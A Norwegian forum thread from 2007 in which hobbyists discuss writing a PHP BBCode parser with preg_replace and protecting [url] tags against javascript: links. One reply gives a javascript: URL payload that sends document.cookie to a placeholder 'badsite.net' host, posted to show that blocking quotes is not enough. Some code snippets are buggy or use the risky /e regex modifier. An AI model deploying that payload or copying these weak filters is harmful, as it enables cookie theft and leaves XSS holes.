Svish Skrevet 8. mars 2007 Del Skrevet 8. mars 2007 (prøver igjen... må da være mulig å få lagt til et emne her..) og vi prøver igjen!! Beklager alle de tomme emnene, men hvordan skulle jeg kunne vite at den la inn tomme emner i bakgrunnen når den til meg sa det var tekniske problemer og at jeg skulle prøve igjen senere kanskje?? Prøvde igjen senere flere ganger, og da jeg omsider gikk ut var det jo et lass av dem der.. og uten innlegget faktisk men men!! fikk et lite svar i en av dem, før den ble låst sammen med de andre: poenget var ikke lister over bbcode, eller hvordan å bruke det her, men hvordan å implementere det selv med php. har brukt en liten kodesnutt jeg fant på wikipedia til å lage en enkel versjon i mitt lille cms: <?php function bbcode2html($strInput) { return preg_replace( array( '/\\[url[\\:\\=]((\\"([\\W]*javascript\:[^\\"]*)?([^\\"]*)\\")|'. '(([\\W]*javascript\:[^\\]]*)?([^\\]]*)))\\]/ie', '/\\[\\/url\\]/i', '/\\[b\\]/i', '/\\[\/b\\]/i', '/\\[i\\]/i', '/\\[\/i\\]/i', '/\\ /i', '/\\[\/quote\\]/i' ), array( '\'<a href="\'.(\'$4\'?\'$4\':\'$7\').\'">\'', '</a>', '<b>', '</b>', '<i>', '</i>', '<blockquote>', '</blockquote>' ), $strInput ); } ?> har utvidet den litt, men lurer på et par ting. 1. hvordan man kan få til sånn som de har her med ]liste[ ]*[ ting ]*[ ting til ]/liste[ ? kunne brukt ]ul[ og ]li[ ]/li[ ]ul[ selvfølgelig.. men er nysgjerrig!! 2. er det noen grei måte å sikre at alle bbcode tagsene er lukket? sånn at de ikke messer opp resten av siden dersom de mangler en slutt? den jeg har brukt der erstatter jo åpning og slutt hver for seg liksom.. 3. hvordan henter dem ut urlen i det scriptet ovenfor? hvis jeg fatta det kunne jeg jo istedet for å erstatte de tagsene hver for seg, erstatte ]b[noetekst]b[ med <b>noe tekst</b>, men hvordan overfører jeg den "noe tekst" liksom? vet det har noe med capturing groups å gjøre. men fatter ikke helt hvordan å bruke dem. spesielt ikke i denne preg_replace funksjonen... vet det er noe som heter named capturing groups også. mulig å bruke det her istedet for å måtte telle parenteser for å finne riktig liksom? Lenke til kommentar
The_Lozer Skrevet 8. mars 2007 Del Skrevet 8. mars 2007 er ikke helt sikker på hva du mener men noe sånn her? $text = $_POST["melding"]; $bbc = array("\n", "", ""); $html = aray("<br />", "<b>", "</b>"); str_replace($bbc, $html, $text); Lenke til kommentar
Svish Skrevet 8. mars 2007 Forfatter Del Skrevet 8. mars 2007 hmm.. den der tok jeg ikke helt for være ærlig, hehe. hva skulle den gjøre? Lenke til kommentar
Mads-b Skrevet 8. mars 2007 Del Skrevet 8. mars 2007 (endret) Høhø, den spesifiserer to arrays som skal bytte ut newlines (entertast trykket) med <br /> OT: Her på forumet søker den sannsyligvis ut teksten mellom [ *] og \n Endret 8. mars 2007 av Mads-b Lenke til kommentar
Svish Skrevet 8. mars 2007 Forfatter Del Skrevet 8. mars 2007 men kan en ikke skrive lister på en linje her også? *teste* [liste][*]en ting[*]en ting til[/liste] ellers så var jo det et godt forslag da. så sant jeg visste hvordan en hentet ut noe fra en regex.. igjen.. noen som har lyst til å gi meg et enkelt php eksempel på capturing groups? hehe. gjerne named og ikke.. Lenke til kommentar
Runar0 Skrevet 8. mars 2007 Del Skrevet 8. mars 2007 Det burde gå, lag en regex som leter etter [*]text(endofline||[*]) er ikkje så oppdater når det gjelder regex så eg kan ikkje komme med eit konkret eksempel Lenke til kommentar
Anders Moen Skrevet 8. mars 2007 Del Skrevet 8. mars 2007 Det finnes bbKoder på bbcode.org Lenke til kommentar
mske Skrevet 8. mars 2007 Del Skrevet 8. mars 2007 (endret) Hvis du ikke skjønner hvordan du kan *lage* bbcodes, kan jeg vise det enkelt slik: <?php $melding = $_POST['melding']; $melding = str_replace("[b]", "<b>"", $melding); // Ellers var det motsatt - <b> kommer før [b] (husker ikke helt) echo "$melding"; ?> Da byttes taggen <b> med , og du får dermed fet skrift. (Et eksempel) Endret 8. mars 2007 av -Magne- Lenke til kommentar
Svish Skrevet 8. mars 2007 Forfatter Del Skrevet 8. mars 2007 kult. takker will look into it. kanskje jeg begynner å skjønne detta surret snart, haha Lenke til kommentar
Alex Moran Skrevet 10. mars 2007 Del Skrevet 10. mars 2007 Å bruke str_replace for bb koder, er høl i huet. bruk preg_replace. Hvis du bruker str_replace vil hele siden bli fucked hvis man f.eks glemmer å lukke en tag. Lenke til kommentar
The_Lozer Skrevet 10. mars 2007 Del Skrevet 10. mars 2007 Å bruke str_replace for bb koder, er høl i huet. bruk preg_replace. Hvis du bruker str_replace vil hele siden bli fucked hvis man f.eks glemmer å lukke en tag. 8120234[/snapback] men nå prøver man jo alltid å lukke tag'en etter seg Lenke til kommentar
ThaMezzy Skrevet 10. mars 2007 Del Skrevet 10. mars 2007 Å bruke str_replace for bb koder, er høl i huet. bruk preg_replace. Hvis du bruker str_replace vil hele siden bli fucked hvis man f.eks glemmer å lukke en tag. 8120234[/snapback] men nå prøver man jo alltid å lukke tag'en etter seg 8120351[/snapback] Nå håper jeg at du vet like godt som meg at det fins alltid folk som vil ødelegge eller prøve hvertfall. preg_replace her er overlegent bedre i forhold til str_replace. Lenke til kommentar
Svish Skrevet 10. mars 2007 Forfatter Del Skrevet 10. mars 2007 (endret) jupp, bruker preg_replace. og har justert den til å kun bytte ut hele tags. for eksempel så erstatter jeg '/\\(.+)\\[\/b]/i' med '<strong>$1</strong>'. men jeg lurer litt på hvordan jeg skal få til taggene. altså.. jeg har fått de til liksom, men de burde jo beskyttes mot javascript og sånt. så en ikke kan skrive [ url=javascript:alert("go away!")] eller sånt.. vil man kunne gjøre noe særlig skadelig med javascript dersom man ikke tillater " i url'en? Endret 10. mars 2007 av Tussi_qwerty Lenke til kommentar
Runar0 Skrevet 10. mars 2007 Del Skrevet 10. mars 2007 jupp, bruker preg_replace. og har justert den til å kun bytte ut hele tags. for eksempel så erstatter jeg '/\\(.+)\\[\/b]/i' med '<strong>$1</strong>'. men jeg lurer litt på hvordan jeg skal få til taggene. altså.. jeg har fått de til liksom, men de burde jo beskyttes mot javascript og sånt. så en ikke kan skrive [ url=javascript:alert("go away!")] eller sånt.. vil man kunne gjøre noe særlig skadelig med javascript dersom man ikke tillater " i url'en? 8121459[/snapback] Du må nok finne en måte og fjerne javascript: på. Eksempel på javascript uten '': javascript:var t = /Go away/;alert(t.source); javascript:var t=/http:\/\/www.badsite.net?cookie=/;window.location=t.source+document.cookie; Lenke til kommentar
Svish Skrevet 10. mars 2007 Forfatter Del Skrevet 10. mars 2007 ja nemlig... hehe.. såe, hvordan bør en gjøre det? Lenke til kommentar
ThaMezzy Skrevet 10. mars 2007 Del Skrevet 10. mars 2007 (endret) Dette kunne funket: http://norskwebforum.no/pastebin/7837 Nå bare la jeg til noe bbkoder greier, du får ta vekk det du vil. EDIT: Glem den koden. Den funker overhodet ikke. Gikk litt fort i svingene her. Lager en ny etterpå Endret 10. mars 2007 av ThaMezzy Lenke til kommentar
Svish Skrevet 11. mars 2007 Forfatter Del Skrevet 11. mars 2007 (endret) hva med denne? \[ url=http://\"(http://%5b^\"]*)\"](.+)\[ /url] den vil godta kun url'er som starter med http:// sant? noe en får gjort med javascript da? den lar en heller ikke avslutte med " og starte på noe nytt som onclick eller no sånt.. Endret 11. mars 2007 av Tussi_qwerty Lenke til kommentar
Peter Skrevet 11. mars 2007 Del Skrevet 11. mars 2007 Hvorfor ikke bare kjøre en skikkelig regex som kun matcher en skikkelig url? Finnes jo sikkert flere dusin av dem på regexlib. Lenke til kommentar
Svish Skrevet 11. mars 2007 Forfatter Del Skrevet 11. mars 2007 kom med en da poenget er at jeg helst kun vil bruke kode jeg forstår, og helst har skrevet selv (vil lære). og noen av de kompliserte url matche greiene forstår jeg ikke litt av en gang. dvs, forstår litt, men så faller jeg av igjen.. Lenke til kommentar
BigJackW Skrevet 27. april 2007 Del Skrevet 27. april 2007 (21:23:14) (*) det er galskap å bruke _replace-funksjoner til sånt(21:23:33) (*) regular expressions burde vært forbudt (21:23:47) (*) bruk string-funksjoner til å parse teksten Lenke til kommentar
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå